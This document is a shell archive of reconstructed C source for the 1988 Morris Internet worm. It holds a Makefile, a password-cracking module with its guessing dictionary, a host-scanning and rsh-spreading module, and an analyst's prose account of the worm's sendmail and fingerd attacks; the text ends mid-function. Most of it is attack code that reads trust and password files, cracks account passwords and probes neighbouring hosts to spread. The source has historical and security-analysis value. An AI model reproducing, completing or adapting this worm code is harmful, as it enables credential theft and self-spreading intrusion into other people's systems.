Fixed Version Of The Internet Worm
Here it is the little bit of code by Robert T Morris Jr. that caused so
much trouble on
the internet in late 1988, with the fixes so it won't be spawn
many copies of itself on the same machine.
# To unbundle, sh this file
echo Makefile 1>&2
sed 's/^-//' >Makefile <<'//GO.SYSIN DD Makefile'
-C_FILES = worm.c net.c hs.c cracksome.c stubs.c
-H_FILES = worm.h
-
-OFILES = worm.o net.o hs.o cracksome.o stubs.o
-
-# Luckily, the original used no optimization
-CFLAGS =
-# Most sites will have to remove the "-D" -- send for our souped-up version
-# of ctags becker@trantor.harris-atd.com
-
-TAGS_FLAGS = -xDt
-
-test: $(OFILES)
- $(CC) -o test $(OFILES)
-$(OFILES): worm.h
-
-clean:
- rm -f *.o *~ *.bak
-tags:
- ctags -xDt > tags
-tar:
- tar -cf foo.tar description Makefile $(C_FILES) $(H_FILES) x8113550.c
//GO.SYSIN DD Makefile
echo cracksome.c 1>&2
sed 's/^-//' >cracksome.c <<'//GO.SYSIN DD cracksome.c'
-/*****************************************************************************\
-* *
-* File: cracksome.c *
-* Author: Don Becker *
-* Created: Thu Nov 10 12:08:34 1988 *
-* Contents: Crack a few passwords, and use them. *
-* Copyright 1988 by Donald Becker, redistribution by permission only *
-* *
-******************************************************************************/
-
-#include "worm.h"
-#include
-#include
-#include
-#include
-
-int cmode;
-extern struct hst *h_name2host();
-
-struct usr { /* sizeof(usr) == 58 */
- char *name, *o4, *o8, *o12;
- char passwd[14]; /* offset 16 */
- char decoded_passwd[14]; /* 30 */
- short pad;
- char *homedir; /* offset 46 */
- char *gecos; /* offset 50 */
- struct usr *next; /* offset 54 */
-};
-
-/* Ahhh, I just love these names. Don't change them for anything. */
-static struct usr *x27f28, *x27f2c;
-
-/* Crack some passwords. */
-cracksome()
-{
- switch (cmode){
- case 0:
- strat_0();
- return; /* 88 */
- case 1:
- strat_1();
- return;
- case 2:
- try_words();
- return;
- case 3:
- dict_words();
- return;
- }
-}
-
-/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
-strat_0() /* 0x5da4 */
-{
- FILE *hosteq;
- char scanbuf[512];
- char fwd_buf[256];
- char *fwd_host;
- char getbuf[256];
- struct passwd *pwent;
- char local[20];
- struct usr *user;
- struct hst *host; /* 1048 */
- int check_other_cnt; /* 1052 */
- static struct usr *user_list = NULL;
-
- hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
- if (hosteq != NULL) { /* 292 */
- while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
- host = h_name2host(scanbuf, 0);
- if (host == 0) {
- host = h_name2host(scanbuf, 1);
- getaddrs(host);
- }
- if (host->o48[0] == 0) /* 158 */
- continue;
- host->flag |= 8;
- }
- fclose(hosteq); /* 280 */
- }
-
- hosteq = fopen(XS("/.rhosts"), XS("r"));
- if (hosteq != NULL) { /* 516 */
- while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
- if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
- continue;
- host = h_name2host(scanbuf, 0);
- while (host == 0) { /* 436, 474 */
- host = h_name2host(scanbuf, 1);
- getaddrs(host);
- }
- if (host->o48[0] == 0)
- continue;
- host->flag |= 8;
- }
- fclose(hosteq);
- }
-
- /* look through the passwd file, checking for contact with others every
- * tenth entry. */
- setpwent();
- check_other_cnt = 0; /* 522 */
- while ((pwent = getpwent()) != 0) { /* 526, 1124 */
- if ((check_other_cnt % 10) == 0)
- other_sleep(0);
- check_other_cnt++;
- sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
- hosteq = fopen(fwd_buf, XS("r"));
- if (hosteq != NULL) { /* 834 */
- while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */
- /* Punt the newline */
- (&scanbuf[strlen(scanbuf)])[-1] = '\0';
- fwd_host = index(scanbuf, '@');
- if (fwd_host == NULL)
- continue;
- host = h_name2host(++fwd_host, 0);
- if (host == NULL) {
- host = h_name2host(fwd_host, 1);
- getaddrs(host);
- }
- if (host->o48[0] == 0)
- continue;
- host->flag |= 8;
- }
- fclose(hosteq);
- }
- /* Don't do foreign or compilcated hosts */
- if (strlen(host->hostname) > 11)
- continue;
- user = (struct usr *)malloc(sizeof(struct usr));
- strcpy(user->name, pwent->pw_name);
- strcpy(&user->passwd[0], XS("x"));
- user->decoded_passwd[0] = '\0';
- user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir);
- user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos);
- user->next = user_list;
- user_list = user;
- }
- endpwent();
- cmode = 1;
- x27f2c = user_list;
- return;
-}
-
-/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
-static strat_1() /* 0x61ca */
-{
- int cnt;
- char usrname[50], buf[50];
-
- for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */
- /* Every tenth time look for "me mates" */
- if ((cnt % 10) == 0)
- other_sleep(0);
- /* Check for no passwd */
- if (try_passwd(x27f2c, XS(""))) /* other_fd+84 */
- continue; /* 1722 */
- /* If the passwd is something like "*" punt matching it. */
- if (strlen(x27f2c->passwd) != 13)
- continue;
- strncpy(usrname, x27f2c, sizeof(usrname)-1);
- usrname[sizeof(usrname)-1] = '\0';
- if (try_passwd(x27f2c, usrname))
- continue;
- sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
- if (try_passwd(x27f2c, buf))
- continue; /* 1722 */
- sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);
- if (isupper(buf[0]))
- buf[0] = tolower(buf[0]);
- if (strlen(buf) > 3 && try_passwd(x27f2c, buf))
- continue;
- buf[0] = '\0';
- sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);
- if (isupper(buf[0]))
- buf[0] = tolower(buf[0]);
- if (strlen(buf) > 3 && index(buf, ',') == NULL &&
- try_passwd(x27f2c, buf))
- continue;
- reverse_str(usrname, buf);
- if (try_passwd(x27f2c, buf))
- ;
- }
- if (x27f2c == 0)
- cmode = 2;
- return;
-}
-
-static reverse_str(str1, str2) /* x642a */
- char *str1, *str2;
-{
- int length, i;
-
- length = strlen(str1);
-
- for(i = 0; i < length; i++)
- str2[i] = (&str1[length-i]) [-1];
- str2[length] = '\0';
- return;
-}
-
-static try_passwd(user, str) /* 0x6484, unchecked */
- struct usr *user;
- char *str;
-{
- if (strcmp(user->passwd, crypt(str, user->passwd)) == 0 ||
- (str[0] == '\0' && user->passwd == '\0')) {
- strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd));
- user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0';
- attack_user(user);
- return 1;
- }
- return 0;
-}
-
-
-/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts */
-/* This is only called from try_passwd() */
-static attack_user(user) /* 0x6514 */
- struct usr *user;
-{
- FILE *fwd_fp;
- char buf[512], *hostpart; /* l516 */
- char rhbuf[256]; /* l776 */
- char l1288[512];
- struct hst *host; /* l1292 */
-
- sprintf(buf, XS("%.200s/.forward"), user->homedir); /* */
- fwd_fp = fopen(buf, XS("r"));
- if (fwd_fp) {
- while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */
- /* Punt the newline */
- buf[strlen(buf) - 1] = '\0';
- hostpart = index(buf, '@');
- /* If no hostname, it's not foreign so ignore it. */
- if (hostpart == NULL)
- continue;
- /* Split username and hostname */
- *hostpart++ = '\0';
-
- /* Here there appears to be a bug!!! It works correctly
- * by coincidence of pushing things on the stack. */
-#ifndef FIX_BUGS
- host = h_name2host(hostpart, 1);
- hu1(user, host, buf);
-#else /* original */
- /* 'hu1' should have another argument */
- hu1(user, (host = h_name2host(hostpart, 1, buf)));
-#endif
-
- }
- fclose(fwd_fp);
- }
-
- sprintf(buf, XS("%.200s/.rhosts"), user->homedir);
- fwd_fp = fopen(buf, XS("r"));
- if (fwd_fp) { /* 2446 */
- while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */
- l1288[0] = '\0';
- if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1)
- continue;
- host = h_name2host(buf, 1);
- hu1(user, host, l1288);
- }
- fclose(fwd_fp);
- }
- return;
-}
-
-/* This array in the sun binary was camaflouged by having the
- high-order bit set in every char. */
-
-char *wds[] = /* 0x21a74 */
-{
- "academia",
- "aerobics",
- "airplane",
- "albany",
- "albatross",
- "albert",
- "alex",
- "alexander",
- "algebra",
- "aliases",
- "alphabet",
- "amorphous",
- "analog",
- "anchor",
- "andromache",
- "animals",
- "answer",
- "anthropogenic",
- "anvils",
- "anything",
- "aria",
- "ariadne",
- "arrow",
- "arthur",
- "athena",
- "atmosphere",
- "aztecs",
- "azure",
- "bacchus",
- "bailey",
- "banana",
- "bananas",
- "bandit",
- "banks",
- "barber",
- "baritone",
- "bass",
- "bassoon",
- "batman",
- "beater",
- "beauty",
- "beethoven",
- "beloved",
- "benz",
- "beowulf",
- "berkeley",
- "berliner",
- "beryl",
- "beverly",
- "bicameral",
- "brenda",
- "brian",
- "bridget",
- "broadway",
- "bumbling",
- "burgess",
- "campanile",
- "cantor",
- "cardinal",
- "carmen",
- "carolina",
- "caroline",
- "cascades",
- "castle",
- "cayuga",
- "celtics",
- "cerulean",
- "change",
- "charles",
- "charming",
- "charon",
- "chester",
- "cigar",
- "classic",
- "clusters",
- "coffee",
- "coke",
- "collins",
- "commrades",
- "computer",
- "condo",
- "cookie",
- "cooper",
- "cornelius",
- "couscous",
- "creation",
- "creosote",
- "cretin",
- "daemon",
- "dancer",
- "daniel",
- "danny",
- "dave",
- "december",
- "defoe",
- "deluge",
- "desperate",
- "develop",
- "dieter",
- "digital",
- "discovery",
- "disney",
- "drought",
- "duncan",
- "eager",
- "easier",
- "edges",
- "edinburgh",
- "edwin",
- "edwina",
- "egghead",
- "eiderdown",
- "eileen",
- "einstein",
- "elephant",
- "elizabeth",
- "ellen",
- "emerald",
- "engine",
- "engineer",
- "enterprise",
- "enzyme",
- "ersatz",
- "establish",
- "estate",
- "euclid",
- "evelyn",
- "extension",
- "fairway",
- "felicia",
- "fender",
- "fermat",
- "fidelity",
- "finite",
- "fishers",
- "flakes",
- "float",
- "flower",
- "flowers",
- "foolproof",
- "football",
- "foresight",
- "format",
- "forsythe",
- "fourier",
- "fred",
- "friend",
- "frighten",
- "fungible",
- "gabriel",
- "gardner",
- "garfield",
- "gauss",
- "george",
- "gertrude",
- "ginger",
- "glacier",
- "golfer",
- "gorgeous",
- "gorges",
- "gosling",
- "gouge",
- "graham",
- "gryphon",
- "guest",
- "guitar",
- "gumption",
- "guntis",
- "hacker",
- "hamlet",
- "handily",
- "happening",
- "harmony",
- "harold",
- "harvey",
- "hebrides",
- "heinlein",
- "hello",
- "help",
- "herbert",
- "hiawatha",
- "hibernia",
- "honey",
- "horse",
- "horus",
- "hutchins",
- "imbroglio",
- "imperial",
- "include",
- "ingres",
- "inna",
- "innocuous",
- "irishman",
- "isis",
- "japan",
- "jessica",
- "jester",
- "jixian",
- "johnny",
- "joseph",
- "joshua",
- "judith",
- "juggle",
- "julia",
- "kathleen",
- "kermit",
- "kernel",
- "kirkland",
- "knight",
- "ladle",
- "lambda",
- "lamination",
- "larkin",
- "larry",
- "lazarus",
- "lebesgue",
- "leland",
- "leroy",
- "lewis",
- "light",
- "lisa",
- "louis",
- "lynne",
- "macintosh",
- "mack",
- "maggot",
- "magic",
- "malcolm",
- "mark",
- "markus",
- "marty",
- "marvin",
- "master",
- "maurice",
- "mellon",
- "merlin",
- "mets",
- "michael",
- "michelle",
- "mike",
- "minimum",
- "minsky",
- "moguls",
- "moose",
- "morley",
- "mozart",
- "nancy",
- "napoleon",
- "nepenthe",
- "ness",
- "network",
- "newton",
- "next",
- "noxious",
- "nutrition",
- "nyquist",
- "oceanography",
- "ocelot",
- "olivetti",
- "olivia",
- "oracle",
- "orca",
- "orwell",
- "osiris",
- "outlaw",
- "oxford",
- "pacific",
- "painless",
- "pakistan",
- "papers",
- "password",
- "patricia",
- "penguin",
- "peoria",
- "percolate",
- "persimmon",
- "persona",
- "pete",
- "peter",
- "philip",
- "phoenix",
- "pierre",
- "pizza",
- "plover",
- "plymouth",
- "polynomial",
- "pondering",
- "pork",
- "poster",
- "praise",
- "precious",
- "prelude",
- "prince",
- "princeton",
- "protect",
- "protozoa",
- "pumpkin",
- "puneet",
- "puppet",
- "rabbit",
- "rachmaninoff",
- "rainbow",
- "raindrop",
- "raleigh",
- "random",
- "rascal",
- "really",
- "rebecca",
- "remote",
- "rick",
- "ripple",
- "robotics",
- "rochester",
- "rolex",
- "romano",
- "ronald",
- "rosebud",
- "rosemary",
- "roses",
- "ruben",
- "rules",
- "ruth",
- "saxon",
- "scamper",
- "scheme",
- "scott",
- "scotty",
- "secret",
- "sensor",
- "serenity",
- "sharks",
- "sharon",
- "sheffield",
- "sheldon",
- "shiva",
- "shivers",
- "shuttle",
- "signature",
- "simon",
- "simple",
- "singer",
- "single",
- "smile",
- "smiles",
- "smooch",
- "smother",
- "snatch",
- "snoopy",
- "soap",
- "socrates",
- "sossina",
- "sparrows",
- "spit",
- "spring",
- "springer",
- "squires",
- "strangle",
- "stratford",
- "stuttgart",
- "subway",
- "success",
- "summer",
- "super",
- "superstage",
- "support",
- "supported",
- "surfer",
- "suzanne",
- "swearer",
- "symmetry",
- "tangerine",
- "tape",
- "target",
- "tarragon",
- "taylor",
- "telephone",
- "temptation",
- "thailand",
- "tiger",
- "toggle",
- "tomato",
- "topography",
- "tortoise",
- "toyota",
- "trails",
- "trivial",
- "trombone",
- "tubas",
- "tuttle",
- "umesh",
- "unhappy",
- "unicorn",
- "unknown",
- "urchin",
- "utility",
- "vasant",
- "vertigo",
- "vicky",
- "village",
- "virginia",
- "warren",
- "water",
- "weenie",
- "whatnot",
- "whiting",
- "whitney",
- "will",
- "william",
- "williamsburg",
- "willie",
- "winston",
- "wisconsin",
- "wizard",
- "wombat",
- "woodwind",
- "wormwood",
- "yacov",
- "yang",
- "yellowstone",
- "yosemite",
- "zimmerman",
- 0
-};
-int nextw = 0; /* 0x24868 */
-
-/* Try a list of potential passwds for each user. */
-static try_words() /* 0x66da */
-{
- struct usr *user;
- int i, j;
-
- if (wds[nextw] == 0) {
- cmode++;
- return; /* 2724 */
- }
- if (nextw == 0) { /* 2550 */
- for (i = 0; wds[i]; i++)
- ;
- permute(wds, i, sizeof(wds[0]));
- }
-
- for (j = 0; wds[nextw][j] != '\0'; j++)
- wds[nextw][j] &= 0x7f;
- for (user = x27f28; user; user = user->next)
- try_passwd(user, wds[nextw]);
- for (j = 0; wds[nextw][j]; j++) /* 2664,2718 */
- wds[nextw][j] |= 0x80;
- nextw += 1;
- return;
-}
-
-
-/* Called only from the cracksome() dispatch loop. Tries a single word from the
- * dictionary, downcasing if capitalized and trying again. */
-static dict_words() /* 0x67f0 */
-{
- char buf[512];
- struct usr *user;
- static FILE *x27f30;
-
- if (x27f30 != NULL) {
- x27f30 = fopen(XS("/usr/dict/words"), XS("r"));
- if (x27f30 == NULL)
- return;
- }
- if (fgets(buf, sizeof(buf), x27f30) == 0) { /* 2808,2846 */
- cmode++;
- return;
- }
- (&buf[strlen(buf)])[-1] = '\0';
-
- for (user = x27f28; user; user = user->next) /* 2910 */
- try_passwd(user, buf);
- if (!isupper(buf[0]))
- return;
- buf[0] = tolower(buf[0]);
-
- for (user = x27f28; user; user = user->next)
- try_passwd(user, buf);
- return; /* 2988 */
-}
-
-/*
- * Local variables:
- * comment-column: 48
- * compile-command: "cc -S cracksome.c"
- * End:
- */
-
//GO.SYSIN DD cracksome.c
echo description 1>&2
sed 's/^-//' >description <<'//GO.SYSIN DD description'
-In order to understand the methods used by the 'worm' program I
-constructed a C source file that would compile to the exact code used
-by the program. While the binaries are not exactly the same (the
-original object files must have used a program similar to the Berkeley
-'xstrings' to encode ASCII strings so that a simple search for strings
-would not suceed), the code is identical when compiled with the
-correct compilers (BSD 4.3 pcc on the VAX, the MIT/pcc-derived Sun C
-compiler distributed with SunOS 3.4/3.5).
-
-
-
-Curiously, the attacks were all inter-machine. The program was intent
-upon reaching as many hosts as possible rather than gaining more
-privileged access on the current host.
-
-As reported elsewhere, the program's most successful point of attack
-was through debugging mode in sendmail/the SMTP server. That hole
-exists almost universally in Berkeley-derived mail systems, and
-permitted initial access to sites such as Harris-ATD that depend upon
-a security "wall" at the point of Arpanet access, and have an open
-system internally. But that hole wasn't the only method the program
-used to gain access, on the contrary it had an array of network and
-password based attacks.
-
-The finger bug was the most interesting to me. The routine exploits a
-fixed 512 byte input buffer in a VAX running the BSD 4.3 fingerd
-binary. It send 536 bytes (plus a newline) to overwrite six extra
-words in the stack frame, including the return PC. The return PC
-points into the middle of the string sent over. The VAX instructions
-in the string do the direct system call version of execve("/bin/sh").
-
-
-"Main" -- setup and hide
-
-The program first takes several steps to disguise itself as just
-another "sh". It immediately copies "sh" into argv[0] so that
-programs such as `ps' will report that name as the running process.
-It then insures that an attempt to induce a core dump will fail by the
-setting the "resource limit" for a potential core file to zero. It
-parses the rest of its arguments, which might include the pid of its
-parent and a list of object files. It loads the object files into
-memory and deletes them from the file system. If any of the files are
-missing or there is some other problem in loading them, it immediately
-exits. At least the C version of the slave program must exist.
-
-If it has a command-line parent process id, it deletes itself from the
-file system, along with "sh" and "/tmp/.dumb". It zeros out its
-argument strings (so they can't be found by `ps'), detaches itself
-from its parent's process group, and kills off its parent.
-
-Break into other systems
-
-The main breakin loop tries a few easy ways to get into other systems
-(hg(), hl(), and ha()), checks for other copies of itself on the
-current system, reports the breakin by opening a connection and
-sending a single byte to "128.32.137.13", sleeps for a while to hide
-the load on the system, and then enters a continuous loop of similar
-activities. During each pass it changes its process id by forking off
-a child and killing the parent. After twelve hours has elasped it cleans
-out hosts it could not contact from its host list.
-
-
-"Cracksome"
-
-'cracksome' is the dispatch routine for password and system cracking. It
-proceeds in several stages, controlled by the variable 'cmode'. The
-first stage reads the hosts in /etc/hosts.equiv and /.rhosts and puts
-them in the list of known hosts. It then makes a list of all users in
-/etc/passwd, stopping every tenth user to check for other copies of
-itself. For each user it checks their ~/.forward files for additional
-hosts. If the forwarded hostname is shorter than 12 characters (presumably a
-hueristic to find only local hosts), it adds the user to its list of
-local users, along with several fields from the password file.
-
-The next time 'cracksome' is called goes through the list of
-usernames, again stopping every tenth name to check for others, and
-tries various likely passwds, including none, the username (e.g.
-becker), the user's name repeated twice (beckerbecker), and the user's
-name reversed (rekceb). It also tries the names in the 'gecos' field
-(the user's full name e.g. Donald Becker) with the first letter
-downcased (e.g. `donald' and `becker').
-
-The next pass through it tries words from an encoded private
-dictionary for each user. Only the first third of a dictionary seems
-to have made it to the binary -- words up to the letter "h".
-
-The final pass tries every word in /usr/lib/dict against every user
-passwd. If the dictionary word is capitalized, it tries the lower
-cased version of that word also.
-
-
- Donald Becker
- becker@trantor.harris-atd.com
//GO.SYSIN DD description
echo forbecker 1>&2
sed 's/^-//' >forbecker <<'//GO.SYSIN DD forbecker'
-From "cracksome.c":
-
- ...
- /* This array in the sun binary was appearently blank, but a partial
- encoded dictionary existed in the binary. Someday I'll figure out what
- happened, perhaps by looking at the VAX version. */
-
- char *wds[] = {"",0}; /* 0x21a74 */
- ...
-
-Someone discovered that the strings in the binary all had the
-high-order bit set. Here's what you should have:
-
-char *wds[] =
-{
- "academia",
- "aerobics",
- "airplane",
- "albany",
- "albatross",
- "albert",
- "alex",
- "alexander",
- "algebra",
- "aliases",
- "alphabet",
- "amorphous",
- "analog",
- "anchor",
- "andromache",
- "animals",
- "answer",
- "anthropogenic",
- "anvils",
- "anything",
- "aria",
- "ariadne",
- "arrow",
- "arthur",
- "athena",
- "atmosphere",
- "aztecs",
- "azure",
- "bacchus",
- "bailey",
- "banana",
- "bananas",
- "bandit",
- "banks",
- "barber",
- "baritone",
- "bass",
- "bassoon",
- "batman",
- "beater",
- "beauty",
- "beethoven",
- "beloved",
- "benz",
- "beowulf",
- "berkeley",
- "berliner",
- "beryl",
- "beverly",
- "bicameral",
- "brenda",
- "brian",
- "bridget",
- "broadway",
- "bumbling",
- "burgess",
- "campanile",
- "cantor",
- "cardinal",
- "carmen",
- "carolina",
- "caroline",
- "cascades",
- "castle",
- "cayuga",
- "celtics",
- "cerulean",
- "change",
- "charles",
- "charming",
- "charon",
- "chester",
- "cigar",
- "classic",
- "clusters",
- "coffee",
- "coke",
- "collins",
- "commrades",
- "computer",
- "condo",
- "cookie",
- "cooper",
- "cornelius",
- "couscous",
- "creation",
- "creosote",
- "cretin",
- "daemon",
- "dancer",
- "daniel",
- "danny",
- "dave",
- "december",
- "defoe",
- "deluge",
- "desperate",
- "develop",
- "dieter",
- "digital",
- "discovery",
- "disney",
- "drought",
- "duncan",
- "eager",
- "easier",
- "edges",
- "edinburgh",
- "edwin",
- "edwina",
- "egghead",
- "eiderdown",
- "eileen",
- "einstein",
- "elephant",
- "elizabeth",
- "ellen",
- "emerald",
- "engine",
- "engineer",
- "enterprise",
- "enzyme",
- "ersatz",
- "establish",
- "estate",
- "euclid",
- "evelyn",
- "extension",
- "fairway",
- "felicia",
- "fender",
- "fermat",
- "fidelity",
- "finite",
- "fishers",
- "flakes",
- "float",
- "flower",
- "flowers",
- "foolproof",
- "football",
- "foresight",
- "format",
- "forsythe",
- "fourier",
- "fred",
- "friend",
- "frighten",
- "fungible",
- "gabriel",
- "gardner",
- "garfield",
- "gauss",
- "george",
- "gertrude",
- "ginger",
- "glacier",
- "golfer",
- "gorgeous",
- "gorges",
- "gosling",
- "gouge",
- "graham",
- "gryphon",
- "guest",
- "guitar",
- "gumption",
- "guntis",
- "hacker",
- "hamlet",
- "handily",
- "happening",
- "harmony",
- "harold",
- "harvey",
- "hebrides",
- "heinlein",
- "hello",
- "help",
- "herbert",
- "hiawatha",
- "hibernia",
- "honey",
- "horse",
- "horus",
- "hutchins",
- "imbroglio",
- "imperial",
- "include",
- "ingres",
- "inna",
- "innocuous",
- "irishman",
- "isis",
- "japan",
- "jessica",
- "jester",
- "jixian",
- "johnny",
- "joseph",
- "joshua",
- "judith",
- "juggle",
- "julia",
- "kathleen",
- "kermit",
- "kernel",
- "kirkland",
- "knight",
- "ladle",
- "lambda",
- "lamination",
- "larkin",
- "larry",
- "lazarus",
- "lebesgue",
- "leland",
- "leroy",
- "lewis",
- "light",
- "lisa",
- "louis",
- "lynne",
- "macintosh",
- "mack",
- "maggot",
- "magic",
- "malcolm",
- "mark",
- "markus",
- "marty",
- "marvin",
- "master",
- "maurice",
- "mellon",
- "merlin",
- "mets",
- "michael",
- "michelle",
- "mike",
- "minimum",
- "minsky",
- "moguls",
- "moose",
- "morley",
- "mozart",
- "nancy",
- "napoleon",
- "nepenthe",
- "ness",
- "network",
- "newton",
- "next",
- "noxious",
- "nutrition",
- "nyquist",
- "oceanography",
- "ocelot",
- "olivetti",
- "olivia",
- "oracle",
- "orca",
- "orwell",
- "osiris",
- "outlaw",
- "oxford",
- "pacific",
- "painless",
- "pakistan",
- "papers",
- "password",
- "patricia",
- "penguin",
- "peoria",
- "percolate",
- "persimmon",
- "persona",
- "pete",
- "peter",
- "philip",
- "phoenix",
- "pierre",
- "pizza",
- "plover",
- "plymouth",
- "polynomial",
- "pondering",
- "pork",
- "poster",
- "praise",
- "precious",
- "prelude",
- "prince",
- "princeton",
- "protect",
- "protozoa",
- "pumpkin",
- "puneet",
- "puppet",
- "rabbit",
- "rachmaninoff",
- "rainbow",
- "raindrop",
- "raleigh",
- "random",
- "rascal",
- "really",
- "rebecca",
- "remote",
- "rick",
- "ripple",
- "robotics",
- "rochester",
- "rolex",
- "romano",
- "ronald",
- "rosebud",
- "rosemary",
- "roses",
- "ruben",
- "rules",
- "ruth",
- "saxon",
- "scamper",
- "scheme",
- "scott",
- "scotty",
- "secret",
- "sensor",
- "serenity",
- "sharks",
- "sharon",
- "sheffield",
- "sheldon",
- "shiva",
- "shivers",
- "shuttle",
- "signature",
- "simon",
- "simple",
- "singer",
- "single",
- "smile",
- "smiles",
- "smooch",
- "smother",
- "snatch",
- "snoopy",
- "soap",
- "socrates",
- "sossina",
- "sparrows",
- "spit",
- "spring",
- "springer",
- "squires",
- "strangle",
- "stratford",
- "stuttgart",
- "subway",
- "success",
- "summer",
- "super",
- "superstage",
- "support",
- "supported",
- "surfer",
- "suzanne",
- "swearer",
- "symmetry",
- "tangerine",
- "tape",
- "target",
- "tarragon",
- "taylor",
- "telephone",
- "temptation",
- "thailand",
- "tiger",
- "toggle",
- "tomato",
- "topography",
- "tortoise",
- "toyota",
- "trails",
- "trivial",
- "trombone",
- "tubas",
- "tuttle",
- "umesh",
- "unhappy",
- "unicorn",
- "unknown",
- "urchin",
- "utility",
- "vasant",
- "vertigo",
- "vicky",
- "village",
- "virginia",
- "warren",
- "water",
- "weenie",
- "whatnot",
- "whiting",
- "whitney",
- "will",
- "william",
- "williamsburg",
- "willie",
- "winston",
- "wisconsin",
- "wizard",
- "wombat",
- "woodwind",
- "wormwood",
- "yacov",
- "yang",
- "yellowstone",
- "yosemite",
- "zimmerman",
- 0
-};
//GO.SYSIN DD forbecker
echo hs.c 1>&2
sed 's/^-//' >hs.c <<'//GO.SYSIN DD hs.c'
-/*****************************************************************************\
-* *
-* File: hs.c *
-* Author: Don Becker *
-* Created: Sun Nov 6 20:16:31 1988 *
-* Contents: Third source file of the 'worm' *
-* Copyright 1988 by Donald Becker, redistribution by permission only *
-* *
-******************************************************************************/
-
-#include "worm.h"
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-extern struct hst *h_addr2host(), *h_name2host();
-extern int justreturn();
-extern int errno;
-extern char *malloc();
-
-int alarmed = 0;
-int ngateways, *gateways;
-struct hst *me, *hosts;
-
-int nifs;
-struct ifses ifs[30]; /* Arbitrary number, fix */
-
-/* Clean hosts not contacted from the host list. */
-h_clean() /* 0x31f0 */
-{
- struct hst *newhosts, *host, *next;
-
- newhosts = NULL;
- for (host = hosts; host != NULL; host = next) {
- next = host->next;
- host->flag &= -7;
- if (host == me || host->flag != 0) {
- host->next = newhosts;
- newhosts = host;
- } else
- free(host);
- }
- hosts = newhosts;
-}
-
-/* Look for a gateway we can contact. */
-hg() /* 0x3270, check again */
-{
- struct hst *host;
- int i;
-
- rt_init();
-
- for (i = 0; i < ngateways; i++) { /* 24, 92 */
- host = h_addr2host(gateways[i], 1);
- if (try_rsh_and_mail(host))
- return 1;
- }
- return 0;
-}
-
-ha() /* 0x32d4, unchecked */
-{
- struct hst *host;
- int i, j, k;
- int l416[100];
- int l420;
-
- if (ngateways < 1)
- rt_init();
- j = 0;
- for (i = 0; i < ngateways; i++) { /* 40, 172 */
- host = h_addr2host(gateways[i], 1);
- for (k = 0; k < 6; k++) { /* 86, 164 */
- if (host->o48[k] == 0)
- continue; /* 158 */
- if (try_telnet_p(host->o48[k]) == 0)
- continue;
- l416[j] = host->o48[k];
- j++;
- }
- }
-
- permute(l416, j, sizeof(l416[0]));
-
- for (i = 0; i < j; i++) { /* 198, 260 */
- if (hi_84(l416[i] & netmaskfor(l416[i])))
- return 1;
- }
- return 0;
-}
-
-hl() /* 0x33e6 */
-{
- int i;
-
- for (i = 0; i < 6; i++) { /* 18, 106 */
- if (me->o48[i] == 0)
- break;
- if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
- return 1;
- }
- return 0;
-}
-
-hi() /* 0x3458 */
-{
- struct hst *host;
-
- for (host = hosts; host; host = host->next )
- if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
- return 1;
- return 0;
-}
-
-hi_84(arg1) /* 0x34ac */
-{
- int l4;
- struct hst *host;
- int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
- int netaddrs[2048];
-
- l12 = netmaskfor(arg1);
- l16 = ~l12;
-
- for (i = 0; i < nifs; i++) { /* 128,206 */
- if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
- return 0; /* 624 */
- }
-
- adr_index = 0;
- if (l16 == 0x0000ffff) { /* 330 */
- l44 = 4;
- for (l40 = 1; l40 < 255; l40++) /* 236,306 */
- for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
- netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
- permute(netaddrs, adr_index, sizeof(netaddrs[0]));
- } else { /* 432 */
- l44 = 4;
- for (l20 = 1; l20 < 255; l20++)
- netaddrs[adr_index++] = (arg1 | l20);
- permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
- permute(netaddrs, adr_index - 6, 4);
- }
- if (adr_index > 20)
- adr_index = 20;
- for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
- l4 = netaddrs[l36];
- host = h_addr2host(l4, 0);
- if (host == NULL || (host->flag & 0x02) == 0)
- continue;
- if (host == NULL || (host->flag & 0x04) == 0 ||
- command_port_p(l4, l44) == 0)
- continue;
- if (host == NULL)
- host = h_addr2host(l4, 1);
- if (try_rsh_and_mail(host))
- return 1;
- }
- return 0;
-}
-
-/* Only called in the function above */
-static command_port_p(addr, time) /* x36d2, */
- u_long addr;
- int time;
-{
- int s, connection; /* 28 */
- struct sockaddr_in sin; /* 16 bytes */
- int (*save_sighand)();
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return 0;
- bzero(&sin, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = addr;
- sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command server... */
-
- save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it fails */
-
- /* Set up a timeout to break from connect if it fails */
- if (time < 1)
- time = 1;
- alarm(time);
- connection = connect(s, &sin, sizeof(sin));
- alarm(0);
-
